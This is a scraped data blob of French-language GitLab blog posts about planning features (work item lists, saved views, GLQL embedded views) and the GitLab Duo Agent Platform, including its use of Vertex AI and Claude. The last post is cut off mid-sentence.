L'objectif est de rendre les vérifications quotidiennes plus efficaces et de prendre en charge des affichages cohérents et standardisés du travail au sein d'une équipe.\n\n![Vue enregistrée](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/izmg27ckskpkdofgvonr.png)\n\n## Perspectives\n\nPour comprendre pourquoi nous effectuons ces changements, il convient d'abord de rappeler notre objectif.\n\nNous avons pour objectif non seulement d'offrir une liste d'éléments de travail, mais aussi une expérience de planification qui vous permet de passer facilement entre différents types de vues (liste, tableau, table et plus encore) tout en conservant votre portée de filtre actuelle.\n\nAssociez cette fonctionnalité aux vues enregistrées, et vous pouvez créer une vue dédiée pour chacun de vos workflows : planification d'itération, raffinement du backlog, planification au niveau du portefeuille avec des vues de table imbriquées, et plus encore.\n\nChaque vue est prête à l'emploi et cohérente dans la façon dont elle filtre et affiche le travail, et elle peut être partagée avec votre équipe. Ce framework prépare également le terrain pour des fonctionnalités plus puissantes à l'avenir, notamment la prise en charge complète des swimlanes pour tout attribut d'élément de travail dans les tableaux.\n\nNous savons que les changements apportés aux outils que vous utilisez quotidiennement peuvent être perturbants. Les workflows que vous avez conçus autour des listes d'epics et de tickets existantes auront désormais un design différent, et nous en sommes conscients.\n\nCette orientation a été mûrement réfléchie et reflète des années de retours des utilisateurs, un investissement architectural significatif dans le framework des éléments de travail et la conviction profonde qu'une expérience unifiée servira mieux les équipes à long terme. Nous nous attendons à ce que la transition nécessite certains ajustements, et nous continuerons à itérer en fonction de vos retours.\n\n## Donnez votre avis\nNous vous encourageons à essayer ces nouvelles fonctionnalités. N'hésitez pas à nous faire part de votre expérience avec la liste des éléments de travail et les vues enregistrées dans ce [ticket](https://gitlab.com/gitlab-org/gitlab/-/work_items/590689). Vos retours nous aideront à améliorer davantage ces fonctionnalités.",[834,835,793],"Agile","features","2026-03-23","Nouvelles fonctionnalités de GitLab 18.10 : renforcer la planification Agile","La liste des éléments de travail et les vues enregistrées réduisent les changements de contexte pour favoriser la concentration de votre équipe de développement logiciel et maintenir des workflows efficaces.",[840],"Matthew Macfarlane","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773843921/rm35fx4gylrsu9alf2fx.png",{"featured":13,"template":843,"slug":844},"BlogPost","agile-planning-gets-a-boost-from-new-features-in-gitlab-18-10",{"content":846,"config":858},{"title":847,"description":848,"heroImage":849,"date":850,"body":851,"category":690,"tags":852,"authors":855},"Maîtrisez votre planification sans changer de contexte","Découvrez comment l'agent GitLab Duo Planner simplifie les tâches, fait gagner du temps et aide les responsables produits et ingénierie à se concentrer sur leur cœur de métier.\n\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","2025-11-10","Les équipes de développement logiciel font face à un défi complexe : des dizaines de tâches, un temps limité et une pression constante pour choisir leur prochain projet. La charge administrative liée à la structuration des exigences, à la gestion des backlogs, au suivi des livraisons et à la rédaction des rapports d'avancement prive les équipes d'heures précieuses qui pourraient être consacrées à la réflexion stratégique.\n\nRésultat ? Le temps manque pour les décisions à forte valeur ajoutée qui contribuent réellement au développement des produits. C'est exactement pour cette raison que nous avons développé [GitLab Duo Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/), un agent d'IA construit sur [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/) qui assiste les responsables produits directement au sein de GitLab. GitLab Duo Planner n'est pas un simple assistant d'IA générique. Les équipes produits et ingénierie de GitLab, qui rencontrent ces défis au quotidien comme beaucoup de nos clients, ont conçu GitLab Duo Planner spécifiquement pour orchestrer les workflows de planification, réduire les tâches administratives et améliorer l'alignement et la prévisibilité.\n\n## Votre nouveau collègue dédié à la planification\n\nLes workflows de planification actuels sont confrontés à trois problèmes majeurs :\n\n1. Tendance à la dérive : le travail non planifié et orphelin ébranle la vision d'ensemble.\n2. Perturbation des équipes : les interruptions constantes liées aux mises à jour de statut empêchent la concentration.\n3. Opacité : les risques cachés apparaissent trop tard pour corriger la trajectoire.\n\nTransformant la façon dont les équipes travaillent, GitLab Duo Planner convertit en quelques minutes des idées vagues en exigences structurées : il détecte les problèmes cachés dans le backlog avant qu'ils n'impactent les sprints et applique instantanément les frameworks RICE et MoSCoW afin de faciliter le classement des priorités. Grâce à sa connaissance du contexte sur l'ensemble de la plateforme GitLab, chaque interaction avec GitLab Duo Planner fait gagner du temps et améliore la qualité des décisions. Fort de son architecture de base construite sur les agents, il apporte une expertise approfondie et une connaissance du contexte spécifique à GitLab.\n\n\n## Conçu pour les équipes\n\nGitLab Duo Planner exploite les éléments de travail (epics, tickets, tâches) et comprend les nuances des structures de répartition des tâches, l'analyse des dépendances et l'estimation des efforts. C'est un agent idéal pour améliorer la visibilité, l'alignement et la confiance dans la livraison logicielle.\n\n* Approche plateforme : contrairement aux solutions ponctuelles, GitLab Duo Planner orchestre l'ensemble de votre plateforme GitLab, de la planification au développement en passant par les tests. De plus, il offre une visibilité sur les équipes et les workflows.\n\n* Intégration dans les workflows : plus besoin de changer de contexte entre différents outils ni de parcourir des centaines de pages sur GitLab pour trouver des informations. GitLab Duo Planner permet aux utilisateurs de contribuer, de collaborer et de maintenir la transparence tout au long du cycle de développement logiciel.\n\n* Économie de temps et d'efforts : fini les tâches de coordination répétitives avec GitLab Duo Planner. Il améliore la prévisibilité des livraisons, réduit les engagements non tenus et met l'accent sur les projets à fort impact.\n\n## Oubliez le chaos, place à la clarté\n\nGitLab Duo Planner peut vous aider à différentes étapes de la planification et de la livraison de logiciels, car il opère dans le cadre de la planification et offre un environnement sécurisé et délimité avec une visibilité sur les projets.\n\nL'agent peut vous aider de six manières différentes :\n\n* Priorisation : appliquez des frameworks comme RICE, MoSCoW ou WSJF pour classer intelligemment les éléments de travail.\n\n* Décomposition des tâches : décomposez les initiatives en epics, fonctionnalités et user stories pour structurer les exigences.\n\n* Analyse des dépendances : identifiez les tâches bloquées et comprenez les relations entre les éléments pour maintenir la vélocité.\n\n* Planification : organisez les sprints, les jalons ou la planification trimestrielle.\n\n* Création de rapports : générez des résumés de l'avancement du projet, des risques et des blockers pour suivre la livraison.\n\n* Gestion du backlog : identifiez les tickets obsolètes, les doublons ou les éléments à affiner pour améliorer la qualité des données.\n\n\nVoici un exemple de la façon dont GitLab Duo Planner peut vérifier le statut d'une initiative :\n\n\u003Cdiv>\u003Ciframe src=\"https://player.vimeo.com/video/1131065078?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Planner Agent\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cp>\u003C/p>\n\nGitLab Duo Planner est disponible en tant qu'agent personnalisé dans le panneau latéral de GitLab Duo Chat, avec le contexte de la page actuelle.\n\n\u003Cp>\u003C/p>\n\n![GitLab Duo Planner en tant qu'agent personnalisé dans le panneau latéral de GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/ener1mkyj9shg6zvtp4f.png)\n\n\u003Cp>\u003C/p>\n\nDemandons à GitLab Duo Planner le statut d'une initiative en fournissant le lien vers l'epic :\n\n![Demander à GitLab Duo Planner le statut d'une initiative en fournissant le lien vers l'epic](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/gzv2xudegtjhtesz1oaz.png)\n\n\u003Cp>\u003C/p>\n\nNous recevons un résumé structuré avec une vue d'ensemble, le statut actuel des jalons, les éléments en cours, les dépendances et les blockers, ainsi que des recommandations concrètes.\n\n![Résumé structuré](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/guoyqe1b9bstmbjzunez.png)\n\n\u003Cp>\u003C/p>\n\nEnsuite, demandons un executive summary à partager avec les parties prenantes : GitLab Duo Planner élimine des heures d'analyse manuelle et d'efforts dédiés à la création de rapports. De plus, il aide à prendre des décisions plus rapidement et à tenir toutes les parties prenantes informées.\n\n![Demander un executive summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/xs9zxawqrytfu54ejx2b.png)\n\n\n\u003Cp>\u003C/p>\n\n![Résultat de l'executive summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/bsbpvjaqnymobzg4knhu.png)\n\n\u003Cp>\u003C/p>\n\nVoici quelques autres prompts que vous pouvez essayer avec GitLab Duo Planner :\n\n* « Quels bogues avec le label “boards” devrions-nous corriger en premier, en tenant compte de l'impact utilisateur ? »\n* « Classe ces epics par valeur stratégique pour le T1. »\n* « Aide-moi à prioriser la dette technique par rapport aux nouvelles fonctionnalités. »\n* « Quelles tâches sont nécessaires pour implémenter cette user story ? »\n* « Suggère une approche par phases pour ce projet : (insérer URL). »\n\n## Prochaines étapes\n\nGitLab Duo Planner se concentre intentionnellement sur les responsables produits et ingénierie qui travaillent dans des environnements Agile, car ce sont les secteurs spécialisés qui améliorent les performances. En entraînant GitLab Duo Planner en profondeur sur les workflows de planification de GitLab et les frameworks Agile, nous fournissons des informations fiables et concrètes plutôt que des suggestions génériques.\n\nNotre vision pour la plateforme ? Une famille d'agents spécialisés, où chacun sera optimisé pour des workflows spécifiques, mais contribuera aussi à une couche d'intelligence unifiée. L'agent GitLab Duo Planner d'aujourd'hui pour les équipes logicielles n'est que le début de la façon dont l'IA transformera la priorisation du travail au sein des organisations.\n\n> Si vous êtes déjà client GitLab et que vous souhaitez essayer GitLab Duo Planner avec votre propre prompt, consultez notre [documentation](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) qui détaille les prérequis, les cas d'utilisation et plus encore.",[853,854,835,793],"AI/ML","agile",[856,857],"Aathira Nair","Amanda Rueda",{"featured":13,"template":843,"slug":859},"ace-your-planning-without-the-context-switching",{"content":861,"config":873},{"body":862,"title":863,"description":864,"authors":865,"heroImage":868,"date":869,"category":690,"tags":870},"Vous arrive-t-il de basculer entre plusieurs onglets dans GitLab simplement pour suivre ce qui se passe dans votre projet ? Peut-être consultez-vous un ticket, puis passez à une merge request, et enfin à un epic pour avoir une vue d'ensemble. Sans vous en rendre compte, votre navigateur déborde d'onglets et vous avez perdu le fil.\n\n\nSi cette situation vous semble familière, vous n'êtes certainement pas seul. De nombreuses équipes perdent du temps et de l'énergie à naviguer entre différents éléments dans leur logiciel de gestion de projet, alors qu'elles essaient simplement de suivre leur travail.\n\n\nC'est justement pour répondre à ce problème que nous avons créé les [vues intégrées](https://docs.gitlab.com/user/glql/#embedded-views), alimentées par [GitLab Query Language (GLQL)](https://docs.gitlab.com/user/glql/). [Disponible dans la version 18.3](https://about.gitlab.com/fr-fr/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/), cette fonctionnalité fournit un aperçu des informations pertinentes en temps réel là où vous travaillez déjà dans GitLab. Fini le changement de contexte permanent et les rapports obsolètes : vous disposez des informations dont vous avez besoin, au moment précis où vous en avez besoin.\n\n\n## Pourquoi utiliser les vues intégrées ?\n\n\nLes vues intégrées représentent bien plus qu'une nouvelle fonctionnalité : elles constituent un changement fondamental dans la façon dont les équipes comprennent et suivent leur travail au sein de GitLab. Avec les vues intégrées, les équipes ne changent pas de contexte et accèdent aux informations dont elles ont besoin en temps réel. Ainsi, elles profitent d'une vision commune sans jamais quitter leur workflow actuel et renforcent leur collaboration. Grâce à un suivi du travail facilité et sans effort, les équipes peuvent se concentrer sur l'essentiel.\n\n\n## Des données en temps réel là où vous en avez besoin\n\n\nLes vues intégrées permettent d'insérer des requêtes GLQL dynamiques dans des blocs de code Markdown à travers des pages [wiki](https://about.gitlab.com/fr-fr/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/), des epics, des tickets et des merge requests. \n\n\nElles offrent de nombreux avantages :\n\n\n### Mises à jour en continu\n\n\nLes requêtes GLQL sont dynamiques et extraient des données actualisées à chaque chargement de page. Ainsi, vos vues intégrées reflètent toujours l'état actuel de votre travail, et non le moment où vous avez ajouté cette vue. Lorsque des modifications sont apportées aux tickets, aux merge requests ou aux jalons, la page s'actualise et affiche ces mises à jour dans votre vue intégrée.\n\n\n### Contexte\n\n\nUtilisez des fonctions comme `currentUser()` et `today()` pour que vos requêtes s'appliquent à un contexte spécifique. Vos vues intégrées s'adaptent automatiquement pour afficher les informations pertinentes en fonction de la personne qui les consulte et offrent ainsi une expérience personnalisée sans configuration manuelle.\n\n\n### Filtrage puissant\n\n\nVous avez à disposition des filtres comme l'assigné, l'auteur, le label, le jalon, l'indicateur de progression, la date de création et plus encore. Il vous suffit d'utiliser des expressions logiques pour obtenir exactement les données souhaitées. Nous prenons en charge plus de 30 champs de filtres depuis la version 18.3.\n\n\n### Affichage personnalisable\n\n\nVous pouvez afficher vos données sous forme de tableau, de liste ou de liste numérotée. Choisissez les champs à afficher, définissez une limite du nombre d'éléments et indiquez l'ordre de tri pour profiter d'un affichage ciblé et exploitable.\n\n\n### Disponibilité\n\n\nVous pouvez utiliser les vues intégrées dans les wikis de groupe et de projet, les descriptions d'epics et de tickets, les merge requests et les commentaires. GLQL est disponible sur la version gratuite de GitLab, GitLab Premium, GitLab Ultimate, GitLab.com, GitLab Self-Managed et GitLab Dedicated. Certaines fonctionnalités, telles que l'affichage des epics, du statut, des champs personnalisés, des itérations et des poids, sont disponibles uniquement pour les utilisateurs de GitLab Premium et GitLab Ultimate. L'affichage de l'indicateur de progression est disponible uniquement dans GitLab Ultimate.\n\n\n## Découvrez les vues intégrées en action\n\n\nLa syntaxe du code source d'une vue intégrée est un sur-ensemble de YAML qui comprend :\n\n\n* Le paramètre `query` : des expressions reliées par un opérateur logique, tel que `and`.\n\n\n* Des paramètres liés à la couche de présentation, comme `display`, `limit`, ou `fields`, `title` et `description` représentés en YAML.\n\n\nUne vue est définie en Markdown comme un bloc de code, similaire à d'autres blocs de code comme Mermaid.\n\n\nPar exemple :\n\n- Afficher un tableau des 5 premiers tickets ouverts assignés à l'utilisateur authentifié dans `gitlab-org/gitlab`.\n- Afficher les colonnes `title`, `state`, `health`, `epic`, `milestone`, `weight` et `updated`.\n\n\n````yaml\n```glql display: table title: GLQL table 🎉 description: This view lists my open issues fields: title, state, health, epic, milestone, weight, updated limit: 5 query: project = \"gitlab-org/gitlab\" AND assignee = currentUser() AND state = opened\n``` ````\nLe tableau généré devrait ressembler à celui ci-dessous :\n\n![Vue intégrée](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png)\n\n\nPour créer votre première vue intégrée, accédez au menu déroulant **Plus d'options** dans la barre d'outils de l'éditeur de texte enrichi. Une fois dans cette barre d'outils, sélectionnez **Vue intégrée**. \n\n\nLa requête suivante sera insérée dans un bloc de code Markdown :\n\n\n````yaml ```glql query: assignee = currentUser() fields: title, createdAt, milestone, assignee title: Issues assigned to current user\n``` ````\n\n\n\nEnregistrez vos modifications dans le commentaire ou la description où le bloc de code apparaît, et c'est terminé : vous avez créé votre première vue intégrée !\n\n\n## Comment GitLab utilise les vues intégrées\n\n\nQue ce soit pour suivre les merge requests relatives à des versions de sécurité, trier les bogues pour améliorer le backlog ou gérer l'intégration de l'équipe et la planification des jalons, nous nous servons des vues intégrées quotidiennement pour des processus essentiels. Il ne s'agit pas simplement d'une fonctionnalité que nous avons développée, c'est un outil dont nous dépendons pour gérer efficacement notre activité. Adopter les vues intégrées, c'est profiter d'une solution éprouvée qui aide déjà les équipes de GitLab à travailler plus efficacement, à prendre des décisions basées sur les données et à bénéficier d'une visibilité sur des workflows complexes. \n\n\nPour résumer, les vues intégrées peuvent transformer la façon dont votre équipe gère et analyse les tâches au cœur de votre travail.\n\n\nPour en savoir plus sur la façon dont GitLab utilise les vues intégrées en interne, consultez l’article [« Comment GitLab mesure l'impact de la Red Team : la métrique du taux d'adoption »](https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/) et les tickets de planification concernant la version de recherche globale pour les jalons [18.1](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239), [18.2](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241) et [18.3](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245).\n\n\n## Prochaines étapes\n\n\n[Les vues intégrées](https://docs.gitlab.com/user/glql/) ne sont que le début de la vision du groupe Knowledge consacrée au suivi du travail. Découvrez nos futurs projets dans l'[epic post disponibilité générale des vues intégrées](https://gitlab.com/groups/gitlab-org/-/epics/15249). En ce qui concerne l'évolution de cette fonctionnalité, nous nous engageons à renforcer son efficacité et son [accessibilité](https://gitlab.com/gitlab-org/gitlab/-/issues/548722).\n\n\n## Partagez votre expérience\n\n\nPartagez vos retours dans le [ticket dédié aux vues intégrées en disponibilité générale](https://gitlab.com/gitlab-org/gitlab/-/issues/509792). Que vous ayez découvert des cas d'utilisation innovants, rencontré des défis ou que vous ayez des idées d'amélioration, nous voulons connaître votre avis.\n","Vues intégrées : l'avenir du suivi des tâches dans GitLab","Découvrez comment les vues intégrées aident les équipes de GitLab à travailler plus efficacement, à prendre des décisions basées sur les données et à bénéficier d’une visibilité sur des workflows complexes.",[840,866,867],"Himanshu Kapoor","Alex Fracazo","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750099072/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099072322.png","2025-09-09",[854,871,872],"workflow","DevSecOps platform",{"featured":691,"template":843,"slug":874},"embedded-views-the-future-of-work-tracking-in-gitlab",{"category":706,"slug":704,"posts":876},[877,891,903],{"content":878,"config":889},{"title":879,"description":880,"authors":881,"body":884,"heroImage":885,"date":886,"category":704,"tags":887},"GitLab et Vertex AI sur Google Cloud : vers un développement logiciel agentique","Découvrez comment les clients Google Cloud adoptent GitLab et Vertex AI pour les modèles de base, les contrôles d'entreprise et la richesse de Model Garden.\n",[882,883],"Regnard Raquedan","Rajesh Agadi","GitLab Duo Agent Platform redéfinit la façon dont les organisations conçoivent, sécurisent et livrent leurs logiciels. Depuis sa disponibilité générale en janvier 2026, la plateforme intègre l'IA agentique à chaque phase du cycle de développement logiciel. GitLab Duo Agent Platform constitue une couche d'orchestration intelligente au sein de laquelle les équipes de développement et leurs agents spécialisés planifient, codent, révisent et corrigent ensemble les vulnérabilités de sécurité.\n\nGrâce à ce partenariat, [GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/) automatise l'orchestration du développement logiciel et la gestion du contexte du cycle de vie via son intégration à Vertex AI sur Google Cloud, qui alimente la couche de modèles pour les appels d'agents. Les équipes continuent de travailler sur les tickets, les merge requests, les pipelines et les workflows de sécurité, tandis que l'inférence suit la posture Google Cloud qu'elles ont déjà définie.\n\nLes avancées des modèles Vertex AI de Google Cloud élargissent les possibilités d'utilisation de GitLab Duo Agent Platform pour les clients Google Cloud. Ces derniers bénéficient d'un plan de contrôle [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") alimenté par l'IA dans GitLab, soutenu par une infrastructure d'IA en constante évolution dans Vertex AI, ainsi que par les options de déploiement et d'intégration flexibles de GitLab Duo Agent Platform. Cette combinaison permet des workflows agentiques plus performants et mieux gouvernés à l'échelle de l'entreprise.\n\n![Illustration conceptuelle de GitLab Duo Agent Platform intégré à Vertex AI de Google Cloud pour alimenter le développement logiciel agentique et les workflows d'IA gouvernés](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776165990/b7jlux9kydafncwy8spc.png)\n\n## Des agents qui interviennent tout au long du cycle de vie\n\nDe nombreux outils d'IA se concentrent sur une seule tâche : accélérer la [génération de code](https://about.gitlab.com/fr-fr/topics/devops/ai-code-generation-guide/ \"Génération de code\"). GitLab Duo Agent Platform va plus loin. La plateforme orchestre des agents d'IA sur l'ensemble du cycle de vie du développement logiciel (SDLC), de la planification à la livraison en passant par les contrôles de sécurité, et ce pour de nombreuses équipes travaillant sur de multiples projets et releases. À cette échelle, les assistants d'IA pour le code sont indispensables à l'innovation continue, mais ne suffisent pas à eux seuls.\n\nLes assistants de codage à usage unique ont rarement une vision complète de l'état d'un projet. Le backlog, les merge requests en attente, les jobs en échec et les résultats de sécurité sont disponibles dans GitLab, mais une fenêtre de chat distincte dans un assistant de codage n'hérite pas de cette vue d'ensemble du [SDLC](https://about.gitlab.com/fr-fr/blog/what-is-sdlc/ \"Qu'est-ce que le SDLC ?\"). Ce manque se traduit par des transferts manuels, des explications répétées à une IA dépourvue de contexte, et des équipes de gouvernance qui tentent de cartographier les flux de données entre des outils qui n'ont jamais été conçus comme un système unifié.\n\nGitLab Duo Agent Platform contribue à combler ce fossé en exécutant des agents et des flows sur les mêmes objets que ceux utilisés quotidiennement par les équipes d'ingénierie. Vertex AI fournit ensuite les modèles et services que ces agents sollicitent lorsque Google Cloud est votre environnement d'inférence de référence, la passerelle d'IA (AI-Gateway) de GitLab gérant les accès afin que les administrateurs disposent d'une cartographie claire des connexions. Par exemple, l'agent Planner analyse les backlogs, décompose les epics en tâches structurées et applique des frameworks de priorisation pour aider les équipes à décider de ce qu'elles doivent développer ensuite. L'agent Security Analyst trie les vulnérabilités, détaille les risques en langage clair et recommande des mesures correctives par ordre de priorité. Des flows intégrés connectent ces agents au sein de processus de bout en bout, sans que les équipes de développement aient à gérer chaque transfert manuellement.\n\nAgentic Chat dans GitLab Duo Agent Platform offre une expérience unifiée pour les équipes de développement. Elles formulent des requêtes en langage naturel pour obtenir des réponses contextuelles basées sur un raisonnement multi-étapes qui s'appuie sur l'état complet d'un projet : ses tickets, ses merge requests, ses pipelines, ses résultats de sécurité et son code source. GitLab servant de système d'enregistrement pour le SDLC avec un modèle de données unifié, les agents GitLab Duo opèrent dans un contexte de cycle de vie qui échappe aux assistants d'IA autonomes et spécifiques à un outil.\n\n### Amplifiés par Vertex AI\n\nGitLab Duo Agent Platform est conçue pour offrir une flexibilité en matière de modèles, car elle attribue différentes capacités à différents modèles en fonction de ceux qui offrent les meilleures performances pour une tâche donnée. Ce choix architectural porte ses fruits sur Google Cloud, où Vertex AI joue le rôle d'environnement géré pour les modèles de base et les services associés, et offre un vaste écosystème de modèles et une infrastructure gérée qui contribuent à repousser encore plus loin les capacités de la plateforme.\n\nLes dernières générations de modèles d'IA disponibles via Vertex AI apportent des améliorations significatives en matière de raisonnement, d'utilisation des outils et de compréhension des contextes longs par rapport aux versions précédentes. Des propriétés sur lesquelles s'appuient les agents de GitLab sur de nombreux projets et équipes qui disposent de codes sources volumineux et complexes. Des fenêtres de contexte plus longues et une intégration plus riche des outils dans les modèles sous-jacents élargissent ce que les agents peuvent accomplir en une seule action, ce qui est particulièrement important pour des charges de travail telles que l'analyse approfondie du backlog ou le contrôle de sécurité d'un monorepo.\n\n[Vertex AI Model Garden](https://cloud.google.com/model-garden), avec son accès à un large éventail de modèles de base, offre aux clients la flexibilité nécessaire pour effectuer ces choix en fonction des performances, des coûts et des exigences réglementaires, sans la contrainte d'un fournisseur unique.\n\nPar ailleurs, les clients de GitLab peuvent utiliser la fonctionnalité Bring Your Own Model (BYOM) pour GitLab Duo Agent Platform, afin que les fournisseurs et les passerelles approuvés s'intègrent là où votre modèle de sécurité l'exige. L'article [consacré à GitLab Duo Agent Platform Self-Hosted et BYOM](https://about.gitlab.com/fr-fr/blog/agentic-ai-enterprise-control-self-hosted-duo-agent-platform-and-byom/) décrit le fonctionnement de cette configuration. Grâce à cette option de déploiement, les clients accèdent à un plus large éventail d'options de modèles qu'ils peuvent adapter à leur processus de développement logiciel : le bon modèle pour le bon workflow, avec les bonnes mesures de protection.\n\nPour GitLab, la décision de s'appuyer sur Vertex AI a été motivée par le besoin d'une fiabilité de niveau entreprise et d'une gamme de modèles inégalée. Vertex AI et Model Garden prennent entièrement en charge les aspects les plus complexes de l'hébergement des [grands modèles de langage (LLM)](https://about.gitlab.com/fr-fr/blog/large-language-model/ \"Qu'est-ce qu'un LLM ?\"), ce qui signifie que la livraison rapide de versions, la robustesse de la sécurité et la rigueur de la gouvernance sont intégrées de façon transparente dans l'intégration. Au-delà de l'offre de modèles Gemini, Vertex AI offre un accès mondial à faible latence à un vaste catalogue de modèles tiers et [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\").\n\nCombiné à l'approche de pointe de Google Cloud en matière de confidentialité des données et de protection des modèles, Vertex AI s'est imposé comme le choix évident pour alimenter l'[expérience développeur](https://about.gitlab.com/fr-fr/topics/devops/what-is-developer-experience/ \"Expérience développeur\") nouvelle génération de GitLab.\n\nEn intégrant Vertex AI Model Garden à son backend, GitLab renforce considérablement sa plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") sans en répercuter la complexité sur les utilisateurs. Les équipes de développement n'ont pas à évaluer ni à gérer les LLM sous-jacents ; elles bénéficient au contraire d'un workflow simplifié et assisté par l'IA pour construire leurs applications.\n\nGitLab gère entièrement l'orchestration cloud et permet aux équipes de développement de se concentrer pleinement sur l'écriture d'un code de qualité, tandis que Vertex AI alimente les fonctionnalités qui les accompagnent.\n\n## Ce que cela signifie pour les clients Google Cloud\n\nGitLab Duo Agent Platform fournit déjà des agents d'IA qui opèrent sur l'ensemble du cycle de vie logiciel au sein d'un système d'enregistrement unique et gouverné. Sur Google Cloud, la plateforme favorise une innovation rapide à mesure que Vertex AI continue de faire évoluer les couches de modèles et d'infrastructure.\n\nPour les clients Google Cloud, cette intégration se traduit par une livraison logicielle rationalisée avec une gouvernance d'entreprise stricte. Pour les équipes d'ingénierie de plateforme, cela signifie normaliser les modèles Vertex qui alimentent les suggestions, les analyses et les corrections dans GitLab, plutôt que de répertorier des dizaines d'outils côté client. Les programmes de sécurité en bénéficient lorsque les agents proposent et valident des correctifs au même endroit où les équipes trient déjà les résultats, ce qui réduit les changements de contexte et les tâches qui s'échapperaient autrement vers des canaux non gérés.\n\nDu point de vue de l'économie et des politiques cloud, orienter l'inférence des agents vers Vertex depuis GitLab maintient l'utilisation à proximité des accords et contrôles déjà en place sur Google Cloud, ce qui contribue à éviter les dépenses redondantes et les chemins parallèles qui contournent les processus d'approvisionnement.\n\nVertex AI étant un fournisseur d'infrastructure sous-jacente de GitLab Duo Agent Platform, les organisations peuvent considérablement accroître la productivité de leurs équipes de développement sans les contraintes et les risques liés à la gestion de chaînes d'outils d'IA fragmentées. Les équipes restent alignées au sein d'un système d'enregistrement unique et sécurisé, ce qui leur permet de construire des applications plus rapidement et de livrer en toute confiance.\n\nLa collaboration entre GitLab et Google Cloud se construit depuis 2018. Aujourd'hui, elle représente l'une des collaborations les plus complètes pour les organisations qui souhaitent passer d'expérimentations en matière d'IA à un développement logiciel agentique entièrement gouverné sur Google Cloud. À mesure que les deux plateformes continuent d'évoluer, GitLab en élargissant son orchestration d'agents et son contexte développeur, et Vertex AI en repoussant les limites des capacités des modèles et de l'infrastructure des agents, la valeur ajoutée pour les clients communs ne cessera de croître.\n\n> [Commencez un essai gratuit de GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/free-trial/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) pour découvrir la puissance de GitLab et Vertex AI sur Google Cloud.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663121/Blog/Hero%20Images/LogoLockupPlusLight.png","2026-04-15",[853,259,888,767,793],"google",{"featured":13,"template":843,"slug":890},"gitlab-and-vertex-ai-on-google-cloud",{"content":892,"config":901},{"title":893,"description":894,"authors":895,"heroImage":897,"date":898,"body":899,"category":704,"tags":900},"Accélérez votre développement avec GitLab Duo Agent Platform et Claude","Découvrez comment tirer parti des modèles d'IA externes comme Claude d'Anthropic pour automatiser la génération de code et la création de pipelines directement dans GitLab.",[896],"Cesar Saavedra","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058602/epl3sinfezlzxnppxak6.png","2026-04-09","Les équipes de développement logiciel modernes sont confrontées à un défi majeur : comment maintenir la cadence de développement tout en garantissant la qualité du code, la sécurité et la cohérence dans le cadre de projets complexes ?\n\nBien que les assistants IA pour le code aient accéléré la productivité individuelle des équipes, ils fonctionnent souvent en marge du workflow de développement global. Ce manque d'intégration oblige les développeurs à basculer constamment entre différents outils, à traduire manuellement les suggestions de l'IA en code exploitable et à consacrer un temps précieux à des tâches répétitives qui pourraient être automatisées.\n\n[GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo-agent-platform/) résout ce problème en offrant une intégration transparente avec des modèles d'IA externes comme Claude d'Anthropic, Codex d'OpenAI et bien d'autres encore.\n\nEn créant des agents externes au sein de GitLab Duo Agent Platform, les organisations peuvent personnaliser les capacités de l'IA selon leurs besoins, workflows et normes spécifiques, directement dans l'environnement GitLab qu'elles connaissent. Les agents comprennent le contexte de votre projet, respectent vos normes de code et peuvent accomplir de manière autonome des tâches complexes en plusieurs étapes, de l'idée initiale au code prêt pour la production.\n\nRegardez cette démonstration vidéo et suivez les étapes ci-dessous pour vous lancer :\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/BPmoVCeyWJA?si=50ktjKxPUNpicXve\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\n## Cas d'utilisation concrets\n\nVoici trois cas d'utilisation qui illustrent comment les agents externes transforment le cycle de vie du développement :\n\n### 1. De l'idée au code\n\nEn partant d'un projet vide et d'une description détaillée du ticket, l'agent externe (dans ce cas, Claude) prend en charge l'intégralité du développement de l'application. Le titre du ticket correspond à l'application souhaitée et la description énumère ses 